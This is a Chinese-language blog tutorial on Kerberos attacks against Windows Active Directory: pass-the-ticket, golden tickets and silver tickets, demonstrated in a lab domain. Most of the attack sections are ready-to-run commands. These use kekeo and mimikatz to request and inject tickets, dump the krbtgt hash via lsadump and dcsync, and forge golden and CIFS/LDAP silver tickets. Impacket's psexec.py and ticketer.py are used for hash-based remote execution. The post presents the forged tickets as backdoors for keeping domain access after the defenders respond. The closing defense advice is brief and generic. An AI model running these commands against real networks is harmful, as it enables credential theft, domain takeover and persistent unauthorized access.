0x00 前言
票据传递(Pass the Ticket,PTT),使用 Kerberos票据进行内网横向,不需要管理员权限。比如之前一篇文章:
0x01 简介
票据传递攻击攻击点都是出现在kerberos认证中的,所以我们我们需要知道的kerberos基本原理,可以查阅另外一篇文章域渗透-Kerberos认证 进行学习。
我们先要了解一些基础的概念:
- KDC(Key Distribution Center)= 密钥分发中心
- AS(Authentication Service)= 认证用户的身份,并为其发放TGT的服务
- TGT(Ticket Granting Ticket)= TGT认证票据,由AS服务发放,存储在内存,默认有效期为10小时
- TGS(Ticket Granting Service)= 票据发放服务
- ST(Service Tickets)= ST服务票据,由TGS服务发送
- AP(Application Server)= 提供用户所需的服务
- 黄金票据(Golden Ticket)= 使用域账号krbtgt的NTLM Hash进行加密
- 白银票据 (Silver Ticket)= 使用服务账户的NTLM Hash进行加密
0x02 票据传递
基本原理
票据传递是把内存中的TGT和ST票据进行认证,获取远程服务的访问权限。比如我们拿到一个域用户和域控的NTLM,大家都知道使用PTH(Pass the hash)使用mimikatz都需要本地管理员权限才可以操作(当然也可以用impacket里面的工具),可以使用ptt功能进行票据传递,拿到域控的权限。
实战
环境是:
172.16.0.105:普通域用户权限,Windows 7
172.16.0.106:域控服务器,域管理用户testuser
我们在Windows 7拿到了域管理员testuser的NTLM,但是没有本地管理员的权限。要使用kekeo才可以申请TGT,mimikatz找不到这个功能,但是mimikatz有ptt的功能。
下面使用kekeo进行操作:
kekeo.exe "tgt::ask /user:testuser /domain:hack.lab /ntlm:f3a0acba8bcfb8a0896281bbfcb793ed" exit
执行后会在当前的目录上生成一个后缀为kirbi
的票据文件,我们需要把该票据导入到内存中才可以生效。
先使用系统自带清理票据的命令,要不然会出现错误:
klist purge
将票据文件导入内存有两种方法,都是不需要管理员权限
kekeo:
kekeo "kerberos::ptt [email protected][email protected]" exit
Mimikatz:
kerberos::ptt C:\Users\lucky\Desktop\TGT_testuser@HACK.LAB_krbtgt~hack.lab@HACK.LAB.kirbi
导入后我们再尝试远程访问域控的文件内容:
有同学说都有域控管理员的NTLM了,这不是脱裤子放屁嘛~哈哈哈,重点在票据传递
0x03 黄金票据(Golden Ticket)
基本原理
之前对黄金票据的理解就是:拿到krbtgt的密码Hash,然后生成任何权限的票据。
诶?要拿到域管理员权限啊,就是要有域管理员权限才可以拿到krbtgt的Hash,那不就脱裤子放屁嘛?
黄金票据在域渗透中经常用来做后门,啊这,那没事了~
黄金票据当你域管理的权限掉了或者密码被改了的时候就很有用。
还记得域渗透-Kerberos认证中AS_REP的ticket中enc-part就是使用krbtgt加密后发过来的TGT票据,那么我们拥有了krbtgt的Hash后就可以创建域内任意的用户生成TGT票据,然后那这张票据去访问服务。比如我拿krbtgt的Hash创建域管理administrator的TGT票据,然后我就可以拿这张票据去请求服务,总所周知,域管理权限很大。
实战
假如我们现在的环境是:
172.16.0.105:内网中的一台普通主机,现在有普通域用户lucky登录到上面
172.16.0.106:域控服务器,名称为DC.hack.lab
172.16.0.107:Kali Linux
Mimikatz
再假如我们上次拿到了域控的权限,导出krbtgt的票据,使用的工具是mimikatz:
mimikatz # lsadump::lsa /inject /name:krbtgt
或者
mimikatz # lsadump::dcsync /user:krbtgt
如下图:
记下NTLM和、域SID,下面会用得上。
现在目标管理员已经把域控的后门去掉,而且修改了域管理的密码。
现在就是黄金票据上场的时候了,我们用普通域用户lucky登录到主机172.16.0.105中进行操作。
有两个方法,一个就是直接在申请票据,一个是生成票据再导入票据。
我们直接申请票据写入内存:
mimikatz # kerberos::golden /domain:hack.lab /sid:S-1-5-21-3896163557-1645138957-2306563325 /krbtgt:79f9b4b4e9ffced451fb812cac908bb6 /user:fakeuser /ptt
然后远程访问DC的C盘:
记得清理下系统票据
klist purge
Mimikatz:
kerberos::purge
导出票据再导入内存,我们在后面加ticket即可:
mimikatz # kerberos::golden /domain:hack.lab /sid:S-1-5-21-3896163557-1645138957-2306563325 /krbtgt:79f9b4b4e9ffced451fb812cac908bb6 /user:fakeuser /ticket:fakeuser.kiribi
运行后会在当前目录生成fakeuser.kiribi文件,然后使用ptt导入内存:
mimikatz # kerberos::ptt fakeuser.kiribi
生成Golden Ticket不仅可以使用aes256还可以使用rc4加密的密钥
Impacket
除此之外我们还可以利用impacket进行制作黄金票据,完全在kali上操作,当然这个工具也可以在Windows上使用。
可能大家在kali上会遇到下面的报错:
[-] Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_WRONG_REALM(Reserved for future use)
[-] [Errno Connection error (HACK.LAB:88)] [Errno -2] Name or service not known
是因为kali的hosts文件和krb5-user包没安装导致的。
安装krb5的krb5-user包:
sudo apt install krb5-user
设置/etc/hosts:
设置/etc/krb5.conf:
default_realm =hack.lab
[realms]
hack.lab = {
kdc = tcp/dc:88
}
我们先用域管理员账户密码获取到krbtgt的hash,这里使用一个编码版的mimikatz。
使用psexec.py远程登录到域控执行读取hash:
psexec.py hack.lab/testuser@dc -hashes 'aad3b435b51404eeaad3b435b51404ee:de26cce0356891a4a020e7c4957afc72' -c krbtgt.bat
如下图:
我们拿到krbtgt的hash和域的sid后,再使用Impacket的ticketer.py脚本进行导出黄金票据:
ticketer.py -nthash 79f9b4b4e9ffced451fb812cac908bb6 -domain-sid S-1-5-21-3896163557-1645138957-2306563325 -domain hack.lab testuser
它会在目录下生成testuser.ccache文件:
然后设置一下环境变量:
export KRB5CCNAME=testuser.ccache
最后执行psexec即可远程访问:
psexec.py hack.lab/testuser@dc -k -no-pass
-k 是使用kerberos票据,也就是上面设置的KRB5CCNAME环境变量
除了psexec以外,还可以使用其他工具例如wmiexec.py(它比psexec.py更加隐蔽,因为它不会上传任何二进制文件并且不启动任何服务)或atexec.py(使用计划的任务执行代码)
0x04 白银票据(Silver Ticket)
基本原理
在TGS-REP阶段,TGS_REP里面的ticket的enc-part是使用服务的hash进行加密的,如果我们拥有服务的hash,就可以给我们自己签发任意用户的TGS票据(service ticket),这个票据也被称为白银票据。
相较于黄金票据,白银票据使用要访问服务的hash,而不是krbtgt的hash,由于生成的是TGS票据,不需要跟域控打交道,但是白银票票据只能访问特定服务。
但是要注意的一点是,伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDCPAC签名,则银票将不起作用。
与黄金票据的区别
访问权限不同
Golden Ticket是伪造的TGT(Ticket Granting Ticket),所以可以获取任何Kerberos服务权限
Silver Ticket是伪造的TGS,也就是说其范围有限,只能访问指定的服务权限
加密方式不同
Golden Ticket是由krbtgt的hash加密
Silver Ticket是由服务账户(通常为计算机账户)hash加密
认证流程不同
Golden Ticket在使用的过程需要同域控通信
Silver Ticket在使用的过程不需要同域控通信
共同点
都是用来做后门
利用条件
攻击者在使用Silver Ticket对内网进行攻击时,需要掌握以下信息:
- 域名
- 域SID
- 目标服务器的FQDN
- 可利用的服务
- 服务账号的NTLM Hash
- 需要伪造的用户名
实战
也就是说只要手里有Silver Ticket,就可以跳过KDC认证,直接去访问指定的服务。
伪造CIFS服务权限
CIFS服务通常用于Windows主机之间的文件共享。
我们在获取到某一台主机的管理员权限,或者一般情况下我们都在域控上面做白银票据,留作后门。
现在我们在域控上使用mimikatz获取信息:
mimikatz log "privilege::debug" "sekurlsa::logonpasswords"
使用log会把执行记录生成在当前目录,方便复制
我们找到以username为主机名称的信息:
获取SID值:
whoami /all
注意要去掉-500
整理以上获得的信息如下:
- /domain:hack.lab
- /sid:S-1-5-21-3896163557-1645138957-2306563325
- /target:dc.hack.lab
- /service:cifs
- /rc4:b21153e3b2ca87bc4b2031f2a9726613
- /user:fakeuser
记得清理下系统票据
klist purge
Mimikatz:
kerberos::purge
现在来到我们普通域用户下的win7(172.16.0.105)执行mimikatz:
mimikatz "kerberos::golden /domain:hack.lab /sid:S-1-5-21-3896163557-1645138957-2306563325 /target:dc.hack.lab /service:cifs /rc4:b21153e3b2ca87bc4b2031f2a9726613 /user:fakeuser /ptt"
执行完我们就可以访问dc服务器上的文件了:
伪造LDAP服务权限
我们可以使用dcsync从域控服务器中获取指定用户的散列值,比如krbtgt。现在我们使用mimikatz实验获取krbtgt的密码散列:
lsadump::dcsync /dc:dc.hack.lab /domain:hack.lab /user:krbtgt
可以看到是无法获取的:
记得清理下系统票据
klist purge
Mimikatz:
kerberos::purge
现在我们开始使用上面获取到的信息进行伪造银票:
- /domain:hack.lab
- /sid:S-1-5-21-3896163557-1645138957-2306563325
- /target:dc.hack.lab
- /service:ldap
- /rc4:b21153e3b2ca87bc4b2031f2a9726613
- /user:fakeuser
mimikatz "kerberos::golden /domain:hack.lab /sid:S-1-5-21-3896163557-1645138957-2306563325 /target:dc.hack.lab /service:ldap /rc4:b21153e3b2ca87bc4b2031f2a9726613 /user:fakeuser /ptt"
我们再次获取的时候就能有权限了:
lsadump::dcsync 向 DC 发起一个同步对象(可获取帐户的密码信息)的质询。 需要的权限包括管理员组(Administrators),域管理员组( Domain Admins)或企业管理员组(Enterprise Admins)以及域控制器的计算机帐户 只读域控制器默认不允许读取用户密码数据
0x05 防御
- 在内网中安装杀毒软件,及时更新系统补丁
- 安装流量监控设备,时刻关注域控的日志
- 计算机账户的账户密码默认30天更换一次
0x06 参考
https://wooyun.js.org/drops/%E5%9F%9F%E6%B8%97%E9%80%8F%E2%80%94%E2%80%94Pass%20The%20Ticket.html
https://blog.csdn.net/qq_41874930/article/details/108266378
https://www.bianchengquan.com/article/394332.html
https://buaq.net/go-87488.html
- 原文作者: F0rmat
- 原文链接: https://xxe.icu/ad_ptt.html
- 版权声明:本作品采用 署名 - 非商业性使用 4.0 国际 (CC BY-NC 4.0)进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。